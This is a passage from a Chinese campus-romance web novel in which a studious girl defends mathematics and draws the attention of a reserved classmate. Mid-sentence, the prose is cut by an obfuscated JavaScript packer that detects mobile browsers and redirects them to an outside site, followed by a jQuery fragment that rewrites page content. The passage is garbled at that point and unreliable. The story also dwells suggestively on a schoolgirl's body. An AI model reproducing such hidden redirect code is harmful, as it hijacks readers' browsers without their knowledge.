也许是因为楚星河太过惹眼,慢慢地,路过黑板报驻足停留的同学越来越多,有人开始发表评论了。
“这期的主题是数学啊!说实在,我最不理解的就是数学了,你们说,我们学函数、数列、几何,有什么用呢,在实际生活中,只需要会算数就行了。”
“是呀!好多数学的公式我都不会推导,只能死记硬背的,背了这个又忘了那个。而且,那些数学符号看着就很抽象,还不如物理和化学,至少生活中摸得着,好理解。”
“要我说,数学就是人造的计量工具而已,解密其他学科才是人类学术的终极目标。”
……
安遥已经在收尾了,听到一群人在后面吱吱喳喳地讨论,忍了又忍,直到将最后一个字写完,才回过头来,刚刚那些言论她不知是从谁的嘴里说出来的,但她觉得自己有必要为数学辩论一番。
她挺直了腰杆,从容不迫道:“数学是一门严谨的基础学科,研究的对象是抽象的,但却是一种客观存在,它们不依赖于时间、空间和人的思维而永恒存在。物理和化学是看得见、摸得着的,与我们的生活息息相关,相对容易理解,但这两个学科都需要用数学的公式、定理等等作为支撑。延伸开来,天文学、运筹学、密码学、计算机软件系统等等,都是依托数学发展的学科。没有数学,这些学科都将寸步难行。
如果说把物理和化学看成是改变世界的工具,那么数学就是改变世界的方法论,只有掌握了方法论,才能更好地利用工具改变世界。”
安遥站在凳子上,比所有人都高出两个头,她白净的双颊因为激动而爬上了两抹如同晚霞般美丽的红晕,漆黑的双眸熠熠生辉。她目光坚定,语调铿锵,垂眼望着众人时竟有一种俯瞰众生的睥睨感。
楚星河没想到这个自己以前从不留意的身姿单薄的女孩,能讲出这样的道理和见解来,怔怔地望着她出神。
人群中有一人道:“我可没那本事改变世界,我们这些小老百姓管好自己就行,数学那么抽象,不学也罢。”
安遥看向那人,不紧不慢道:“可能以后数学在你的生活中起不了多大作用,但现在,学数学能帮到你,至少高考是一定要考数学的。你想上一所好的大学,数学是一定不能放弃的,不是吗?”
“是呀,不管怎么说,文理虽然分了,但语数英三科都是基础学科,都得考,都逃不掉。”另有一人道。
这话引起了一片哀嚎声。
“哎呀,还围在这里干什么,赶紧回去刷题啦!你们真是闲得蛋疼。”郭东雷一边嚷嚷,一边张开双臂驱赶众人。
同学们也就三三两两地散了。
安遥和女同学收拾好粉笔、摘抄书籍等,也打算回课室了。她擦好凳子刚要提起,一只骨节分明的大手抢先提了起来,那手的主人道:“我来。”
安遥意外地看了看眼前人,楚星河在她印象中一向冷淡寡言,极少主动与人打交道,属于多一事不如少一事的主。
不过,他要主动帮忙,安遥倒是挺乐意。
郭东雷见他这样,也有样学样,帮绘画的女同学搬了凳子。
安遥和女同学走在前头,他们走在后头。
郭东雷这人藏不住事,望着安遥的背影,又同楚星河说悄悄话:“我看中的,是不是很厉害?”
楚星河偏了偏头,看着前面女孩纤细的身姿,“嗯”了一声。
“这种一门心思读书的女孩,最单纯最容易上手了,可是不知道为什么她就是不答应我,你说她脑子里在想啥呀?”
楚星河的脑海里倒映出她刚刚慷慨激昂辩论的模样,勾起一边嘴角,道:“她在想,好好学习,将来改变世界。”
“呵!”郭东雷不置可否,“你还当真了,不就是为了高考拿高分嘛。”
楚星河不理他,走快两步,与安遥并肩。
安遥见他赶了上来,疑惑地转头去看他,他似乎早有准备,侧过头来朝她微微一笑,那双桃花眼迷死人不偿命。
安遥的心突然猛烈地跳动起来,她没记错的话,这是他们同班以来第一次对视超过三秒。
啊!校草果然是校草,360度无死角,对视几秒就要沦陷在他的魅力中。以前她不明白为什么其他班的女同学下课后来偷看他,现在总算明白了,这人的双眼幽深如黒潭,里面似有魔力,与他对视需要十二分的防备,才能不被蛊惑。
安遥吃力地移开目光,看着前方走自己的路。
楚星河搭讪道:“你数学成绩一直都这么好的吗?”
没想到他主动聊起天来,安遥一阵错愕。
跟上来的郭东雷替她回答了:“她的数学初二开始就是年级第一了。”安遥初中高中都是和郭东雷一个学校,他老早就注意她了。
楚星河笑道:“看来是天赋型选手呀。”
安遥连忙摇头:“不是的,我小时候数学不突出,但是上了初中突然开窍了,才越学越好,根本没有天赋,全靠死磕而已。”
楚星河问:“怎么开窍的?”
安遥实诚道:“你们可能会觉得我浮夸。我那时看了一本华罗庚先生的传记,深深为他所作的贡献折服,我想也许我没有什么天赋,但是从现在开始努力,将来一定也能在自己喜欢的领域发光发热的。这样,看那些数学符号和公式,也突然觉得美妙起来。”
她说完,其他三人都沉默了。
郭东雷和女同学似乎听到毒鸡汤般,给了一个勉强的笑容。
楚星河则站定了脚步转身正面盯着她,极其认真道:“一点都不浮夸,你肯定能行。”
安遥想不到竟然能受到鼓励,以前她这么说的时候,旁人总是笑话她打了鸡血,楚星河是第一个认真对待她的感悟的人。
“谢谢你!”安遥报以微笑,眉眼弯弯,目光纯净又坚定。
楚星河看得怔忡,一晃神的功夫,其他三人转弯已进了教室。
安遥把粉笔和书本放回讲台上,和女同学去卫生间洗手,洗完手回来,在后门门口便见尤紫茜已经在楚星河的桌子旁,她上身前倾,双手手肘抵住他的桌面,塌腰翘臀,姿势妖娆。校服领子拉得极低,隐约能看到两团雪白浑圆的胸脯,一双荔枝眼顾盼生辉,直直地看着坐在座位上的楚星河。后者则是一副惯常
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490475|185832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的淡漠疏远的表情,自顾自地看着手上的书。
他们俩根本没有肢体接触,可尤紫茜的眼神直白火辣,一个男的被这样撩拨还能忍得住还真不是一般人。
“哼!她又来了,又不是我们班的,总是过来勾引我们楚学霸。”女同学酸溜溜地说。
安遥抿嘴笑了笑,道:“非礼勿视。”而后,从他们身边经过坐回到自己的座位,在抽屉里拿出练习册旁若无人地做了起来。
她的座位隔了一条过道,在楚星河的右上方。
刚才楚星河听到她那句“非礼勿视”后,终于抬起头来,看着她坐回自己的座位,便又收回视线低头继续看书。
郭东雷就坐在安遥后面,扯了扯她的马尾,笑嘻嘻道:“安遥,不是说教我解题吗?”
安遥转过身来:“哪题不会?”
郭东雷把数学卷子横着放,指了指后面几道大题:“这些全部都不会。”
安遥翻了翻他的卷子。呵,卷子满分150分,他只拿到60多,及格线都没上,后面的大题不是没做就是只答了一点,是失分的重灾区。
“这题是这里面最简单的了,考的是直线方程的点斜式,已知点的坐标,线的斜率,求直线方程。这个和课本里的例题几乎是一样的,你还不如将课本的例题都背下来,做题的时候举一反三,至少能拿一些分。”安遥扶了扶眼镜,一本正经道。
郭东雷愁眉苦脸:“课本的例题我也没看懂,怎么背啊?”
安遥正要再说什么,一旁的楚星河突然开口道:“你要有那个心,死记硬背也能背下来。”
安遥扭头看了他一眼,就跌入了他双眸中的黑潭里。他似乎早等着她看过来,目光相撞时,微不可察地勾了勾嘴角,一个笑意转瞬即逝。
但尤紫茜看得分明,她趴在他的桌子上已经有一会了,他连一个眼神都没有给她,而那个女生,从她进门到现在,几乎都在他的目光里!
尤紫茜忿忿不平道:“楚星河,你不会喜欢那样的吧?又土又瘪。”
安遥一愣,看了他们一眼,又看看自己周围,好几个女生呢,不一定说的自己。
楚星河剑眉一皱,冷淡道:“我的事你少管。晚自习要开始了,你的课室在楼下。”
尤紫茜嘟起小嘴,从他的课桌上起身,瞪了安遥一眼,走了。
安遥莫名其妙,郭东雷笑嘻嘻道:“不是说你,你是沧海遗珠,他们都不懂,我懂。”
安遥没好气道:“你成语倒是用得不错。”
郭东雷道:“怎么说我语文都能够得上90分呀。”
在及格线徘徊,也好意思说出来啊。
安遥将卷子推回给他,语重心长道:“我看你呀,还是把课本里的公式和例题都复习一遍,再重新做这套题,兴许能及格。”她说完,转回身去做自己的练习册。
自那之后,虽然很少和楚星河说话,但安遥总感觉有他在的地方,就会有两道仿佛不经意的视线时不时飘到自己身上,等再去捕抓时,又了无踪迹。
也许,是自己多心了,他看谁都是这样似笑非笑、似看不看的神情。